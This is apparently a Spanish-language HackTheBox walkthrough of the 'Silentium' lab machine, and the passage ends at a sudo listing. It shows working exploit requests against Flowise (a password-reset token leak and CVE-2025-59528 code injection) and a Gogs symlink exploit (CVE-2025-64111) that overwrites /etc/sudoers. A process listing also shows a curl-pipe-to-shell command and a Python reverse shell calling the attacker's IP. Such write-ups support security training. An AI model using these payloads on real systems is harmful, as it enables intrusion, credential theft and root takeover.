This page looks best with JavaScript enabled

HackTheBox - Silentium

Silentium corre Flowise AI con multiples vulnerabilidades. La primera permitio obtener el token para un usuario que posteriormente utilizamos en una segunda para obtener acceso inicial en un contenedor de docker. En este se encontraron credenciales en las variables de entorno que nos permitio el acceso por SSH. Finalmente se escalaron privilegios mediante una version de gogs vulnerable con enlaces simbolicos.

Nombre Silentium
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2026-04-11
IP 10.129.63.146
Maker

7u9y

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [52, 49, 269, 167, 70, 14, 17, 3, 0, 8],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Apr 11 22:30:16 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.107.74
Nmap scan report for 10.129.107.74
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 11 22:30:32 2026 -- 1 IP address (1 host up) scanned in 15.96 seconds

Agregamos a nuestro archivo /etc/hosts el dominio silentium.htb.

Web Site

Los headers del sitio muestran un nginx/1.24.0.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ curl -sI silentium.htb
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 12 Apr 2026 04:32:13 GMT
Content-Type: text/html
Content-Length: 8753
Last-Modified: Mon, 16 Mar 2026 22:21:29 GMT
Connection: keep-alive
ETag: "69b88269-2231"
Accept-Ranges: bytes

El sitio tiene una tematica de economia.

image

Se describe al equipo de la empresa para posibles nombres de usuario.

image

Directory Brute Forcing

feroxbuster muestra unicamente el directorio assets.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ feroxbuster -u http://silentium.htb/ -w $MD
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://silentium.htb/
 🚩  In-Scope Url          │ silentium.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      251l      725w     8753c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://silentium.htb/assets => http://silentium.htb/assets/
[####################] - 21m   441092/441092  0s      found:1       errors:0      
[####################] - 21m   220546/220546  178/s   http://silentium.htb/ 
[####################] - 21m   220546/220546  178/s   http://silentium.htb/assets/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio staging.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.silentium.htb" -u http://silentium.htb -fw 6

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 6
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 286ms]
:: Progress: [151265/151265] :: Job [1/1] :: 146 req/sec :: Duration: [0:17:35] :: Errors: 0 ::

staging.silentium.htb

Encontramos un formulario de login.

image

Basados en el contenido HTML identificamos FlowiseAI.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<meta
    property="og:description"
    content="Open source generative AI development platform for building AI agents, LLM orchestration, and more"
/>
<!-- Twitter -->
<meta property="twitter:card" content="summary_large_image" />
<meta property="twitter:url" content="https://twitter.com/FlowiseAI" />
<meta property="twitter:title" content="Flowise - Build AI Agents, Visually" />
<meta
    property="twitter:description"
    content="Open source generative AI development platform for building AI agents, LLM orchestration, and more"
/>
<meta name="twitter:creator" content="@FlowiseAI" />

Flowise AI - Multiple Vulnerabilities

A traves del login nos permite enumerar si el usuario/email existe a traves de solicitudes al login.

image

Observamos que el usuario/email ben@silentium.htb es aceptado.

image

Creamos un wordlist con usernames basados en los nombres del sitio.

1
2
3
4
❯ ../tools/usernames.py names.txt > pusernames.txt
❯ wc -l pusernames.txt
30 pusernames.txt

Unicamente encontramos al usuario ben.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w pusernames.txt -u http://staging.silentium.htb/api/v1/auth/login -d '{"email":"FUZZ@silentium.htb","password":"password"}' -H 'Content-Type: application/json'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://staging.silentium.htb/api/v1/auth/login
 :: Wordlist         : FUZZ: /home/kali/htb/silentium/pusernames.txt
 :: Header           : Content-Type: application/json
 :: Data             : {"email":"FUZZ@silentium.htb","password":"password"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

ben                     [Status: 401, Size: 85, Words: 4, Lines: 1, Duration: 320ms]
:: Progress: [30/30] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Version

Encontramos que la version es 3.0.5 .

1
2
3
4
5
❯ curl -s http://staging.silentium.htb/api/v1/version | jq
{
  "version": "3.0.5"
}

Exposure of Sensitive Information

FlowiseAI tiene multiples vulnerabilidades, basados en la version encontrada tiene un gran numero que aplican, una de estas se encuentra en el endpoint /api/v1/account/forgot-password que, a traves de un email/usuario conocido es posible obtener informacion sensible. Tras ejecutar el PoC con el email del usuario al endpoint, este retorna la contrasena encriptada y un token temporal, entro otros datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ curl -s http://staging.silentium.htb/api/v1/account/forgot-password -d '{"user":{"email":"ben@silentium.htb"}}' -H 'Content-type: application/json' | jq
{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
    "tempToken": "oz712GmDJNj7yMxvqRuDkeXj0nfzcDXM8uqyeLnOKQZnAjB74NEXv4uPoP6urVoy",
    "tokenExpiry": "2026-04-12T05:30:46.729Z",
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "updatedDate": "2026-04-12T05:15:46.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

El hash de contrasena no aparece en el wordlist rockyou.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\Users\sckull\Documents\github\hashcat-7.1.2> .\hashcat.exe -m 3200 '$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG' .\rockyou.txt
hashcat (v7.1.2) starting

# ... skip ...

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9B...s2pWhG
Time.Started.....: Sat Apr 11 23:19:28 2026 (13 mins, 44 secs)
Time.Estimated...: Sat Apr 11 23:33:12 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:    18581 H/s (14.84ms) @ Accel:1 Loops:32 Thr:11 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 786/14344385 (0.01%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-32
Candidate.Engine.: Device Generator
Candidates.#01...:  matavesi -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 47c Fan:  0% Util: 95% Core:2235MHz Mem:8251MHz Bus:8

Started: Sat Apr 11 23:19:22 2026
Stopped: Sat Apr 11 23:33:12 2026
PS C:\Users\sckull\Documents\github\hashcat-7.1.2>

Change Password

Utilizamos el valor de tempToken para realizar un cambio de contrasena (Supp3rduperP4ss!).

image

Al aceptarlo nos redirige al login.

image

La contrasena permite el acceso al dashboard.

image

CVE-2025-59528

Tambien, para esta version que permite la ejecucion remota de comandos (RCE) a traves de CustomMCP. En el PoC se indican el comando a ejecutar a traves de codigo.

1
2
3
4
5
6
7
8
9
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
    }
  }'

Para ejecutar el PoC obtuvimos la apikey del usuario en el dashboard.

image

Realizamos la ejecucion de curl 10.10.14.30 con el PoC.

1
2
3
4
5
6
7
8
9
curl -sX POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"curl 10.10.14.30\");return 1;})()})"
    }
  }'

Confirmamos la ejecucion del comando al obtener una solicitud en nuestro servidor.

1
2
3
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.107.74 - - [11/Apr/2026 23:59:28] "GET / HTTP/1.1" 200 -

User - root (Docker)

Ejecutamos una shell inversa con shells logrando el acceso como root en un contenedor de docker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.30] from silentium.htb [10.129.107.74] 57186
/bin/sh: can't access tty; job control turned off
/ # whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
/ # ls -lah
total 68K    
drwxr-xr-x    1 root     root        4.0K Apr  8 15:14 .
drwxr-xr-x    1 root     root        4.0K Apr  8 15:14 ..
-rwxr-xr-x    1 root     root           0 Apr  8 15:14 .dockerenv
drwxr-xr-x    1 root     root        4.0K Jul 16  2025 bin
drwxr-xr-x    5 root     root         340 Apr 12 04:08 dev
drwxr-xr-x    1 root     root        4.0K Apr  8 15:14 etc
drwxr-xr-x    1 root     root        4.0K Jul 16  2025 home
drwxr-xr-x    1 root     root        4.0K Jul 15  2025 lib
drwxr-xr-x    5 root     root        4.0K Jul 15  2025 media
drwxr-xr-x    2 root     root        4.0K Jul 15  2025 mnt
drwxr-xr-x    1 root     root        4.0K Jul 16  2025 opt
dr-xr-xr-x  286 root     root           0 Apr 12 04:08 proc
drwx------    1 root     root        4.0K Apr  8 09:41 root
drwxr-xr-x    3 root     root        4.0K Jul 15  2025 run
drwxr-xr-x    2 root     root        4.0K Jul 15  2025 sbin
drwxr-xr-x    2 root     root        4.0K Jul 15  2025 srv
dr-xr-xr-x   13 root     root           0 Apr 12 04:08 sys
drwxrwxrwt    1 root     root        4.0K Apr  8 09:41 tmp
drwxr-xr-x    1 root     root        4.0K Apr  8 09:41 usr
drwxr-xr-x    1 root     root        4.0K Jul 15  2025 var
/ #

El comando env muestra dos contrasenas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
~ # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=4
PORT=3000
HOME=/root
OLDPWD=/home/node
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/root
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
~ #

Una de estas permite el acceso por ssh.

1
2
3
4
❯ netexec ssh silentium.htb -u ben -p 'r04D!!_R4ge'
SSH         10.129.107.74   22     silentium.htb    [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15
SSH         10.129.107.74   22     silentium.htb    [+] ben:r04D!!_R4ge  Linux - Shell access!

User - Ben

Con las credenciales logramos una shell ssh y la lectura de user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ ssh ben@silentium.htb
The authenticity of host 'silentium.htb (10.129.107.74)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:12: [hashed name]
    ~/.ssh/known_hosts:24: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Apr 12 06:07:40 AM UTC 2026

  System load:           0.08
  Usage of /:            83.4% of 13.37GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             231
  Users logged in:       0
  IPv4 address for eth0: 10.129.107.74
  IPv6 address for eth0: dead:beef::250:56ff:feb9:66e7

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Apr  8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ whoami;id;pwd
ben
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
/home/ben
ben@silentium:~$ ls
user.txt
ben@silentium:~$ cat user.txt 
416d6104fc69c16761aca0ee40a39124
ben@silentium:~$

Entre los procesos encontramos la ejecucion de gogs y docker-proxy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ben@silentium:~$ ps -ef | grep root
root           1       0  0 04:08 ?        00:00:02 /sbin/init
# [.. skip ..]
root         748       1  0 04:08 ?        00:00:00 dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         814       1  0 04:08 ?        00:00:00 /usr/lib/systemd/systemd-logind
root         815       1  0 04:08 ?        00:00:00 /usr/libexec/udisks2/udisksd
root         965       2  0 04:08 ?        00:00:00 [kworker/u4:2-ext4-rsv-conversion]
root         998       1  0 04:08 ?        00:00:00 /usr/sbin/ModemManager
root        1504       1  0 04:08 ?        00:00:02 /opt/gogs/gogs/gogs web
root        1506       1  0 04:08 ?        00:00:00 /usr/sbin/cron -f -P
root        1510       1  0 04:08 ?        00:00:16 /usr/bin/containerd
root        1532       1  0 04:08 ?        00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root        1534       1  0 04:08 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1564       1  0 04:08 ?        00:00:10 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1868       1  0 04:08 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 728f8ff4efe14eb458cb6dab2edfe106c92d48614a3a56905c6913b67ecfd1fb -address /run/containerd/containerd.sock
root        1871       1  0 04:08 ?        00:00:08 /usr/bin/containerd-shim-runc-v2 -namespace moby -id c78c3cceb7ba574e930e611b7403d1bd1fa04ba5b6dc9e9ca066e59637a4064c -address /run/containerd/containerd.sock
root        1912    1871  0 04:08 ?        00:00:30 node /usr/local/bin/flowise start
root        1983    1564  0 04:08 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.18.0.2 -container-port 3000 -use-listen-fd
root        2015    1564  0 04:08 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 1025 -container-ip 172.18.0.3 -container-port 1025 -use-listen-fd
root        2021    1564  0 04:08 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8025 -container-ip 172.18.0.3 -container-port 8025 -use-listen-fd
root        3337       1  0 04:19 ?        00:00:02 /usr/libexec/fwupd/fwupd
root        3344       1  0 04:19 ?        00:00:00 /usr/libexec/upowerd
root        4555       1  0 04:30 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
# [.. skip ..]
root       14814    1912  0 06:05 ?        00:00:00 /bin/sh -c curl 10.10.14.30:8000/10.10.14.30:1336|sh
root       14816   14814  0 06:05 ?        00:00:00 sh
root       14817   14816  0 06:05 ?        00:00:00 python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.30",1336)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
root       14818   14817  0 06:05 ?        00:00:00 /bin/sh -i
# [.. skip ..]
ben@silentium:~$

Se indican multiples puertos a la escucha localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ben@silentium:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43177         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
ben@silentium:~$

Para los puertos especificados en docker es MailHog.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
ben@silentium:~$ nc 127.0.0.1 1025
220 mailhog.example ESMTP MailHog
^C
ben@silentium:~$ curl 127.0.0.1:8025
<!DOCTYPE html>
<html ng-app="mailhogApp">
  <head>
    <title>MailHog</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="referrer" content="no-referrer">

    <link rel="icon" type="image/png" href="images/hog.png">

    <link rel="stylesheet" href="css/jquery-ui-1.10.4-smoothness.css">
    <link rel="stylesheet" href="css/bootstrap-3.3.2.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
# .. skip ..
ben@silentium:~$

En el caso de gogs, este se encuentra en el puerto 3001.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ben@silentium:~$ curl -s 127.0.0.1:3001 | head -15
<!DOCTYPE html>
<html>
<head data-suburl="">
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
	
		<meta name="author" content="Gogs" />
		<meta name="description" content="Gogs is a painless self-hosted Git service" />
		<meta name="keywords" content="go, git, self-hosted, gogs">
	
	<meta name="referrer" content="no-referrer" />
	<meta name="_csrf" content="HIKdqqszuFiO4f9I-HM9La5WrOc6MTc3NTk3NDQwMTk4NzI5Njc2NQ" />
	<meta name="_suburl" content="" />

	
ben@silentium:~$

Encontramos que la version de gogs es 0.13.3.

1
2
3
ben@silentium:/opt/gogs/gogs$ ./gogs --version
Gogs version 0.13.3
ben@silentium:/opt/gogs/gogs$ 

Port Forwarding

Obtuvimos localmente los puertos 3001 y 8025.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ ssh ben@silentium.htb -L 3001:localhost:3001 -L 8025:127.0.0.1:8025 -fN
ben@silentium.htb's password: 
❯ netstat -ntpl | grep ssh
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8025          0.0.0.0:*               LISTEN      97623/ssh           
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      97623/ssh           
tcp6       0      0 ::1:8025                :::*                    LISTEN      97623/ssh           
tcp6       0      0 ::1:3001                :::*                    LISTEN      97623/ssh           

MailHog

El puerto 8025 unicamente muestra emails para reiniciar la contrasena, esto para la plataforma de FlowiseAI.

image

Gogs

En Gogs unicamente encontramos al usuario ben.

image

Privesc via CVE-2025-64111

Gogs tiene una vulnerabilidad que permite la ejecucion de comandos a traves de enlaces simbolicos en un respositorio. El PoC utiliza el archivo .git/config, el parametro sshCommand para la ejecucion de comandos.

Exploit

Para realizar la explotacion creamos un usuario en gogs.

image

Creamos un token que nos serviria para la solicitud final en la API.

image

image

Creamos un repositorio inicializado utilizando la interfaz de gogs y clonamos localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ git clone http://127.0.0.1:3001/sckull/mal_repo
Cloning into 'mal_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 215 bytes | 215.00 KiB/s, done.
cd mal_repo
❯ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

Se menciona que la explotacion de la vulnerabilidad escribe en el archivo del enlace simbolico, esto permitiria escribir en archivos como /etc u otro archivo. Para este caso apuntamos al archivo /etc/sudoers para que ben pueda ejecutar cualquier comando como sudo. Se creo la configuracion para este archivo.

1
2
3
4
5
6
7
8
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults	use_pty
root	ALL=(ALL:ALL) ALL
ben	ALL=(ALL:ALL) ALL
%sudo	ALL=(ALL:ALL) ALL
@includedir /etc/sudoers.d

Se configuro el repositorio, se agrego el enlace simbolico, se creo un commit y se enviaron los cambios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ git config --global user.email "sckull@silentium.htb"
❯ git config --global user.name "sckull"
❯ ln -s /etc/sudoers link
❯ git add link
❯ git commit -m 'add' && git push
[master 037dbc8] add
 1 file changed, 1 insertion(+)
 create mode 120000 link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 275 bytes | 275.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Username for 'http://127.0.0.1:3001': sckull
Password for 'http://sckull@127.0.0.1:3001': 
To http://127.0.0.1:3001/sckull/mal_repo
   eebef1a..037dbc8  master -> master

Se realizo la solicitud final con curl especificando el enlace simbolico y el contenido para este.

1
2
3
4
5
6
❯ curl -sX PUT "http://localhost:3001/api/v1/repos/sckull/mal_repo/contents/link" \
  -H "Authorization: token d4667b4c3625dafe7dba5b2f3e8859ae1c7452cd" \
  -H "Content-Type: application/json" \
  -d '{"message":"update sudoers","content":"RGVmYXVsdHMJZW52X3Jlc2V0DQpEZWZhdWx0cwltYWlsX2JhZHBhc3MNCkRlZmF1bHRzCXNlY3VyZV9wYXRoPSIvdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iDQpEZWZhdWx0cwl1c2VfcHR5DQpyb290CUFMTD0oQUxMOkFMTCkgQUxMDQpiZW4JQUxMPShBTEw6QUxMKSBBTEwNCiVzdWRvCUFMTD0oQUxMOkFMTCkgQUxMDQpAaW5jbHVkZWRpciAvZXRjL3N1ZG9lcnMuZA=="}' | jq | echo

Observamos que el archivo tuvo un cambio por la diferencia de fecha.

1
2
3
4
5
ben@silentium:~$ ls -lah /etc/sudoers
-r--r----- 1 root root 1.8K Jan 29  2024 /etc/sudoers
ben@silentium:~$ ls -lah /etc/sudoers
-r--r----- 1 root root 244 Apr 12 08:32 /etc/sudoers
ben@silentium:~$

Tras ejecutar sudo -l -l, este muestra que puede ejecutar cualquier comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ben@silentium:~$ sudo -l -l
[sudo] password for ben: 
Matching Defaults entries for ben on silentium:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ben may run the following commands on silentium:

